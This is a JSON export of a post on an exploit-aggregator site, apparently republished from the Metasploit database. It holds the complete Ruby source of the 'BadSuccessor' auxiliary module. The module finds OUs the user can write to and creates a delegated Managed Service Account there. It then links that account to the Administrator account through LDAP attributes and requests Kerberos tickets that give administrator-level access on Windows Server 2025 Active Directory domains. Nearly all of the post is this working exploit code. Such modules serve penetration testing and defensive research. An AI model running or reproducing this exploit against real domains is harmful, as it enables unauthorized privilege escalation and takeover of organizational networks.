{"id":35891,"date":"2026-01-15T13:34:28","date_gmt":"2026-01-15T13:34:28","guid":{"rendered":"http:\/\/localhost\/?p=35891"},"modified":"2026-01-15T13:34:28","modified_gmt":"2026-01-15T13:34:28","slug":"badsuccessor-dmsa-abuse-to-escalate-privileges-in-windows-active-directory","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=35891","title":{"rendered":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-15T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits &#8216;Bad Successor&#8217;, which allows operators to elevate privileges on domain controllers running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service Accounts in this forest level and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-15T18:57:50&#8243;,&#8221;modified&#8221;:&#8221;2026-01-15T18:57:50&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n  include Msf::Exploit::Remote::LDAP\\n  include Rex::Proto::LDAP\\n  include Msf::OptionalSession::LDAP\\n  include Msf::Exploit::Remote::LDAP::ActiveDirectory\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits &#8216;Bad Successor&#8217;, which allows operators to elevate privileges on domain controllers\\n          running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service\\n          Accounts in this forest level and they came ripe for exploitation.\\n\\n          Normal users can&#8217;t create dMSA accounts where dMSA accounts are supposed to be created, the Managed Service\\n          Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in\\n          said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this\\n          account should inherit privileges from the Administrator user. Once this is complete we can request kerberos\\n          tickets on behalf of the dMSA account and voila, you&#8217;re admin.\\n\\n          The module has two actions, one for creating the dMSA account and setting it up to impersonate a high\\n          privilege user, and another action for requesting the kerberos tickets needed to use the dMSA account for privilege\\n          escalation.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;AngelBoy&#8217;, # discovery\\n          &#8216;Spencer McIntyre&#8217;, # Help with Kerberos implementation and a number of improvements during review\\n          &#8216;jheysel-r7&#8217; # module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/www.akamai.com\/blog\/security-research\/abusing-dmsa-for-privilege-escalation-in-active-directory?\\u0026vid=badsuccessor-demo-video&#8217;],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/specterops.io\/blog\/2025\/05\/27\/understanding-mitigating-badsuccessor\/&#8217;],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/jorgequestforknowledge.wordpress.com\/2025\/09\/02\/from-badsuccessor-to-patchedsuccessor\/&#8217;],\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-05-21&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [ CRASH_SAFE ],\\n          &#8216;SideEffects&#8217; =\\u003e [ ARTIFACTS_ON_DISK ],\\n          &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION ],\\n          &#8216;AKA&#8217; =\\u003e [ &#8216;BadSuccessor&#8217; ]\\n        },\\n        &#8216;Actions&#8217; =\\u003e [\\n          [ &#8216;CREATE_DMSA&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Create a dMSA account which impersonates a high privilege user&#8217; } ],\\n          [ &#8216;GET_TICKET&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Requests a series of tickets to give the user a ticket which can be used in the context of whomst the dMSA account impersonates&#8217; } ],\\n        ],\\n        &#8216;DefaultAction&#8217; =\\u003e &#8216;CREATE_DMSA&#8217;\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;DMSA_ACCOUNT_NAME&#8217;, [true, &#8216;The name of the dMSA account to be create or request tickets for&#8217;]),\\n      OptString.new(&#8216;ACCOUNT_TO_IMPERSONATE&#8217;, [true, &#8216;The name of the dMSA account to be created&#8217;, &#8216;Administrator&#8217;], conditions: %w[ACTION == CREATE_DMSA]),\\n      OptString.new(&#8216;RHOSTNAME&#8217;, [true, &#8216;The hostname of the domain controller&#8217;], conditions: %w[ACTION == GET_TICKET]),\\n      OptString.new(&#8216;SERVICE&#8217;, [true, &#8216;The Service you wish to get a high privilege ticket for&#8217;, &#8216;cifs&#8217;], conditions: %w[ACTION == GET_TICKET]),\\n    ])\\n    deregister_options(&#8216;SESSION&#8217;)\\n  end\\n\\n  def windows_version_vulnerable?\\n    domain_info = adds_get_domain_info(@ldap)\\n    version = domain_info[:domain_behavior_version]\\n\\n    unless version.to_i == 10\\n      print_error(&#8216;This module only works against domains running at the Windows 2025 functional level.&#8217;)\\n      return false\\n    end\\n    print_good(&#8216;The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.&#8217;)\\n    true\\n  end\\n\\n  def validate\\n    errors = {}\\n\\n    case action.name\\n    when &#8216;GET_TICKET&#8217;\\n      if %w[auto ntlm].include?(datastore[&#8216;LDAP::Auth&#8217;]) \\u0026\\u0026 Net::NTLM.is_ntlm_hash?(datastore[&#8216;LDAPPassword&#8217;].encode(::Encoding::UTF_16LE))\\n        errors[&#8216;LDAPPassword&#8217;] = &#8216;The GET_TICKET action is incompatible with LDAP passwords that are NTLM hashes.&#8217;\\n      end\\n    end\\n\\n    raise Msf::OptionValidateError, errors unless errors.empty?\\n  end\\n\\n  def check\\n    ldap_connect do |ldap|\\n      validate_bind_success!(ldap)\\n\\n      if (@base_dn = datastore[&#8216;BASE_DN&#8217;])\\n        print_status(\\&#8221;User-specified base DN: #{@base_dn}\\&#8221;)\\n      else\\n        print_status(&#8216;Discovering base DN automatically&#8217;)\\n\\n        unless (@base_dn = ldap.base_dn)\\n          print_warning(\\&#8221;Couldn&#8217;t discover base DN!\\&#8221;)\\n        end\\n      end\\n      @ldap = ldap\\n\\n      return Exploit::CheckCode::Safe unless windows_version_vulnerable?\\n\\n      ous = get_ous_we_can_write_to\\n      if ous.blank?\\n        return Exploit::CheckCode::Safe(\\&#8221;Failed to find any Organizational Units #{datastore[&#8216;LDAPUsername&#8217;]} can write to.\\&#8221;)\\n      end\\n\\n      print_good(\\&#8221;Found #{ous.length} OUs we can write to, listing below:\\&#8221;)\\n      ous.each do |ou|\\n        print_good(\\&#8221; &#8211; #{ou}\\&#8221;)\\n      end\\n\\n      Exploit::CheckCode::Appears\\n    end\\n  rescue Errno::ECONNRESET\\n    fail_with(Failure::Disconnected, &#8216;The connection was reset.&#8217;)\\n  rescue Rex::ConnectionError =\\u003e e\\n    fail_with(Failure::Unreachable, e.message)\\n  rescue Rex::Proto::Kerberos::Model::Error::KerberosError =\\u003e e\\n    fail_with(Failure::NoAccess, e.message)\\n  rescue Net::LDAP::Error =\\u003e e\\n    fail_with(Failure::Unknown, \\&#8221;#{e.class}: #{e.message}\\&#8221;)\\n  end\\n\\n  def get_ous_we_can_write_to\\n    organizational_units = []\\n\\n    filter = &#8216;(objectClass=organizationalUnit)&#8217;\\n    attributes = [&#8216;distinguishedName&#8217;, &#8216;name&#8217;, &#8216;objectClass&#8217;, &#8216;nTSecurityDescriptor&#8217;]\\n    entries = query_ldap_server(filter, attributes)\\n    entries.each do |entry|\\n      if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP]))\\n        organizational_units \\u003c\\u003c entry[:dn].first\\n      end\\n    end\\n    organizational_units\\n  end\\n\\n  def query_ldap_server(raw_filter, attributes, base_prefix: nil)\\n    if base_prefix.blank?\\n      full_base_dn = @base_dn.to_s\\n    else\\n      full_base_dn = \\&#8221;#{base_prefix},#{@base_dn}\\&#8221;\\n    end\\n    begin\\n      filter = Net::LDAP::Filter.construct(raw_filter)\\n    rescue StandardError =\\u003e e\\n      fail_with(Failure::BadConfig, \\&#8221;Could not compile the filter! Error was #{e}\\&#8221;)\\n    end\\n\\n    # Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but\\n    # the SACL flag is set, as we need administrative privileges to retrieve\\n    # the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.\\n\\n    all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION\\n    control_values = [all_but_sacl_flag].map(\\u0026:to_ber).to_ber_sequence.to_s.to_ber\\n    controls = []\\n    controls \\u003c\\u003c [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence\\n    returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)\\n    query_result_table = @ldap.get_operation_result.table\\n    validate_query_result!(query_result_table, filter)\\n    returned_entries\\n  end\\n\\n  def create_dmsa(account_name, writeable_dn, group_membership)\\n    sam_account_name = account_name\\n    sam_account_name += &#8216;$&#8217; unless sam_account_name.ends_with?(&#8216;$&#8217;)\\n    dn = \\&#8221;CN=#{account_name},#{writeable_dn}\\&#8221;\\n    print_status(\\&#8221;Attempting to create dMSA account CN: #{account_name}, DN: #{dn}\\&#8221;)\\n\\n    dmsa_attributes = {\\n      &#8216;objectclass&#8217; =\\u003e [&#8216;top&#8217;, &#8216;person&#8217;, &#8216;organizationalPerson&#8217;, &#8216;user&#8217;, &#8216;computer&#8217;, &#8216;msDS-DelegatedManagedServiceAccount&#8217;],\\n      &#8216;cn&#8217; =\\u003e [account_name],\\n      &#8216;useraccountcontrol&#8217; =\\u003e [&#8216;4096&#8217;],\\n      &#8216;samaccountname&#8217; =\\u003e [sam_account_name],\\n      &#8216;dnshostname&#8217; =\\u003e [\\&#8221;#{Faker::Name.first_name}.#{domain_dns_name}\\&#8221;],\\n      &#8216;msds-supportedencryptiontypes&#8217; =\\u003e [&#8217;28&#8217;],\\n      &#8216;msds-managedpasswordinterval&#8217; =\\u003e [&#8217;30&#8217;],\\n      &#8216;msds-groupmsamembership&#8217; =\\u003e [group_membership],\\n      &#8216;msds-delegatedmsastate&#8217; =\\u003e [&#8216;0&#8217;],\\n      &#8216;name&#8217; =\\u003e [account_name]\\n    }\\n\\n    unless @ldap.add(dn: dn, attributes: dmsa_attributes)\\n\\n      res = @ldap.get_operation_result\\n\\n      case res.code\\n      when Net::LDAP::ResultCodeInsufficientAccessRights\\n        fail_with(Failure::BadConfig, &#8216;Insufficient access to create dMSA seed&#8217;)\\n      when Net::LDAP::ResultCodeEntryAlreadyExists\\n        fail_with(Failure::BadConfig, \\&#8221;Seed object #{account_name} already exists\\&#8221;)\\n      when Net::LDAP::ResultCodeConstraintViolation\\n        fail_with(Failure::UnexpectedReply, \\&#8221;Constraint violation: #{res.error_message}\\&#8221;)\\n      else\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{res.message}: #{res.error_message}\\&#8221;)\\n      end\\n\\n      return false\\n    end\\n\\n    print_good(\\&#8221;Created dMSA #{account_name}\\&#8221;)\\n    true\\n  end\\n\\n  def set_dmsa_attributes(dn, delegated_state, preceded_by_link)\\n    print_status(\\&#8221;Setting attributes for dMSA object: #{dn}\\&#8221;)\\n\\n    # Define the attributes to update\\n    operations = [\\n      [:replace, &#8216;msds-delegatedmsastate&#8217;, [delegated_state]],\\n      [:replace, &#8216;msds-managedaccountprecededbylink&#8217;, [preceded_by_link]]\\n    ]\\n\\n    # Perform the LDAP modify operation\\n    unless @ldap.modify(dn: dn, operations: operations)\\n      res = @ldap.get_operation_result\\n      fail_with(Failure::Unknown, \\&#8221;Failed to update attributes for #{dn}: #{res.message} &#8211; #{res.error_message}\\&#8221;)\\n    end\\n\\n    print_good(\\&#8221;Successfully updated attributes for dMSA object: #{dn}\\&#8221;)\\n  end\\n\\n  def query_account(account_name)\\n    account_name += &#8216;$&#8217; unless account_name.ends_with?(&#8216;$&#8217;)\\n    entry = adds_get_object_by_samaccountname(@ldap, account_name)\\n\\n    if entry.nil?\\n      print_error(&#8216;Original object not found&#8217;)\\n      exit\\n    end\\n\\n    attrs_to_copy = {}\\n    entry.each do |attr, values|\\n      next unless %w[msds-managedaccountprecededbylink msds-delegatedmsastate].include?(attr.to_s)\\n\\n      attrs_to_copy[attr.to_s] = values.map(\\u0026:to_s)\\n    end\\n\\n    attrs_to_copy.each do |key, value|\\n      if value.is_a?(Array)\\n        if value.length == 1\\n          print_status(\\&#8221;#{key} =\\u003e #{value.first.inspect}\\&#8221;)\\n        else\\n          print_status(\\&#8221;#{key} =\\u003e [#{value.map(\\u0026:inspect).join(&#8216;, &#8216;)}]\\&#8221;)\\n        end\\n      end\\n    end\\n  end\\n\\n  def get_group_memebership(sid)\\n    sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(\\n      \\&#8221;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;#{sid})\\&#8221;,\\n      domain_sid: sid.rpartition(&#8216;-&#8216;).first\\n    )\\n    sd\\n  end\\n\\n  def domain_dns_name\\n    return @domain_dns_name if @domain_dns_name\\n\\n    if @ldap\\n      @domain_dns_name = adds_get_domain_info(@ldap)[:dns_name]\\n    else\\n      ldap_connect { |ldap| @domain_dns_name = adds_get_domain_info(ldap)[:dns_name] }\\n    end\\n\\n    @domain_dns_name\\n  end\\n\\n  def action_create_dmsa\\n    ldap_connect do |ldap|\\n      validate_bind_success!(ldap)\\n      if (@base_dn = datastore[&#8216;BASE_DN&#8217;])\\n        print_status(\\&#8221;User-specified base DN: #{@base_dn}\\&#8221;)\\n      else\\n        print_status(&#8216;Discovering base DN automatically&#8217;)\\n\\n        unless (@base_dn = ldap.base_dn)\\n          fail_with(Failure::NotFound, \\&#8221;Couldn&#8217;t discover base DN!\\&#8221;)\\n        end\\n      end\\n\\n      @ldap = ldap\\n      currrent_user_info = adds_get_current_user(@ldap)\\n      sid = Rex::Proto::MsDtyp::MsDtypSid.read(currrent_user_info[:objectsid].first)\\n\\n      # Get vulnerable OUs\\n      ous = get_ous_we_can_write_to\\n      print_good(\\&#8221;Found #{ous.length} OUs we can write to, listing them below:\\&#8221;)\\n      ous.each do |ou|\\n        print_good(\\&#8221; &#8211; #{ou}\\&#8221;)\\n      end\\n\\n      writeable_dn = ous.sample\\n\\n      create_dmsa(datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;], writeable_dn, get_group_memebership(sid).to_binary_s)\\n      fail_with(Failure::NoTarget, &#8216;There are no Organization Units we can write to, the exploit can not continue&#8217;) if ous.empty?\\n      set_dmsa_attributes(\\&#8221;CN=#{datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;]},#{writeable_dn}\\&#8221;, &#8216;2&#8217;, \\&#8221;CN=#{datastore[&#8216;ACCOUNT_TO_IMPERSONATE&#8217;]},CN=Users,#{@base_dn}\\&#8221;)\\n      query_account(datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;])\\n    end\\n  end\\n\\n  def run_get_ticket_module(mod, opts = {})\\n    opts.each do |key, value|\\n      option_name = key.to_s\\n\\n      if value == :unset\\n        mod.datastore.unset(option_name)\\n      else\\n        mod.datastore[option_name] = value\\n      end\\n    end\\n\\n    result = mod.run_simple(\\n      &#8216;LocalInput&#8217; =\\u003e user_input,\\n      &#8216;LocalOutput&#8217; =\\u003e user_output\\n    )\\n\\n    # Exceptions raised in the get_ticket won&#8217;t propagate here, so fail if the credential is nil\\n    fail_with(Failure::Unknown, &#8216;Failed to run get_ticket module.&#8217;) unless result\\n\\n    result[:credential]\\n  end\\n\\n  def action_get_ticket\\n    mod_refname = &#8216;admin\/kerberos\/get_ticket&#8217;\\n\\n    print_status(\\&#8221;Loading #{mod_refname}\\&#8221;)\\n    get_ticket_module = framework.modules.create(mod_refname)\\n\\n    unless get_ticket_module\\n      print_error(\\&#8221;Failed to load module: #{mod_refname}\\&#8221;)\\n      return\\n    end\\n\\n    # First get a TGT for the attacker who created the dmsa account:\\n    user_tgt = auth_via_kdc\\n    print_good(\\&#8221;Obtained TGT for the user #{datastore[&#8216;LDAPUsername&#8217;]}\\&#8221;)\\n\\n    # Secondly get a TGT for dMSA impersonating the target account:\\n    impersonate = datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;]\\n    impersonate += &#8216;$&#8217; unless impersonate.ends_with?(&#8216;$&#8217;)\\n    get_dmsa_tgs_options = {\\n      &#8216;DOMAIN&#8217; =\\u003e domain_dns_name,\\n      &#8216;PASSWORD&#8217; =\\u003e datastore[&#8216;LDAPPassword&#8217;],\\n      &#8216;rhosts&#8217; =\\u003e datastore[&#8216;RHOST&#8217;],\\n      &#8216;username&#8217; =\\u003e datastore[&#8216;LDAPUsername&#8217;],\\n      &#8216;SPN&#8217; =\\u003e \\&#8221;krbtgt\/#{domain_dns_name}\\&#8221;,\\n      &#8216;action&#8217; =\\u003e &#8216;get_tgs&#8217;,\\n      &#8216;IMPERSONATE&#8217; =\\u003e impersonate,\\n      &#8216;IMPERSONATE_TYPE&#8217; =\\u003e &#8216;dmsa&#8217;,\\n      &#8216;krb5ccname&#8217; =\\u003e user_tgt[:path]\\n    }\\n\\n    dmsa_credential = run_get_ticket_module(get_ticket_module, get_dmsa_tgs_options)\\n    print_good(\\&#8221;Obtained TGT for dMSA #{datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;]}\\&#8221;)\\n\\n    temp_ccache_file = Tempfile.create([&#8216;bad_successor_&#8217;, &#8216;.ccache&#8217;], binmode: true)\\n    begin\\n      temp_ccache_file.write(dmsa_credential.to_ccache.encode)\\n      temp_ccache_file.close\\n\\n      # Lastly request the ticket for the desired service:\\n      get_priv_esc_tgs_options = {\\n        &#8216;username&#8217; =\\u003e impersonate,\\n        &#8216;SPN&#8217; =\\u003e \\&#8221;#{datastore[&#8216;SERVICE&#8217;]}\/#{datastore[&#8216;RHOSTNAME&#8217;]}.#{domain_dns_name}\\&#8221;,\\n        &#8216;action&#8217; =\\u003e &#8216;get_tgs&#8217;,\\n        &#8216;krb5ccname&#8217; =\\u003e temp_ccache_file.path,\\n        &#8216;PASSWORD&#8217; =\\u003e :unset,\\n        &#8216;IMPERSONATE&#8217; =\\u003e :unset,\\n        &#8216;IMPERSONATE_TYPE&#8217; =\\u003e &#8216;none&#8217;\\n      }\\n\\n      run_get_ticket_module(get_ticket_module, get_priv_esc_tgs_options)\\n    ensure\\n      File.unlink(temp_ccache_file.path) if temp_ccache_file \\u0026\\u0026 File.exist?(temp_ccache_file.path)\\n    end\\n\\n    print_good(\\&#8221;Obtained elevated TGT for #{datastore[&#8216;DMSA_ACCOUNT_NAME&#8217;]}\\&#8221;)\\n  end\\n\\n  def init_authenticator(options = {})\\n    options.merge!({\\n      host: rhost,\\n      realm: domain_dns_name,\\n      username: datastore[&#8216;LDAPUsername&#8217;],\\n      password: datastore[&#8216;LDAPPassword&#8217;],\\n      framework: framework,\\n      framework_module: self\\n    })\\n\\n    Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)\\n  end\\n\\n  def auth_via_kdc\\n    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })\\n    authenticator.authenticate_via_kdc(options)\\n  end\\n\\n  def run\\n    send(\\&#8221;action_#{action.name.downcase}\\&#8221;)\\n  rescue Errno::ECONNRESET\\n    fail_with(Failure::Disconnected, &#8216;The connection was reset.&#8217;)\\n  rescue Rex::ConnectionError =\\u003e e\\n    fail_with(Failure::Unreachable, e.message)\\n  rescue Rex::Proto::Kerberos::Model::Error::KerberosError =\\u003e e\\n    fail_with(Failure::NoAccess, e.message)\\n  rescue Net::LDAP::Error =\\u003e e\\n    fail_with(Failure::Unknown, \\&#8221;#{e.class}: #{e.message}\\&#8221;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/admin\/ldap\/bad_successor.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/admin\/ldap\/bad_successor\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-15T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits &#8216;Bad Successor&#8217;, which allows operators to elevate privileges on domain controllers running at the Windows 2025 forest functional level. Microsoft decided to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-35891","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=35891\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-15T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits &#8216;Bad Successor&#8217;, which allows operators to elevate privileges on domain controllers running at the Windows 2025 forest functional level. Microsoft decided to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=35891\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-15T13:34:28+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-\",\"datePublished\":\"2026-01-15T13:34:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891\"},\"wordCount\":2592,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35891#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891\",\"name\":\"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-15T13:34:28+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35891\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35891#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 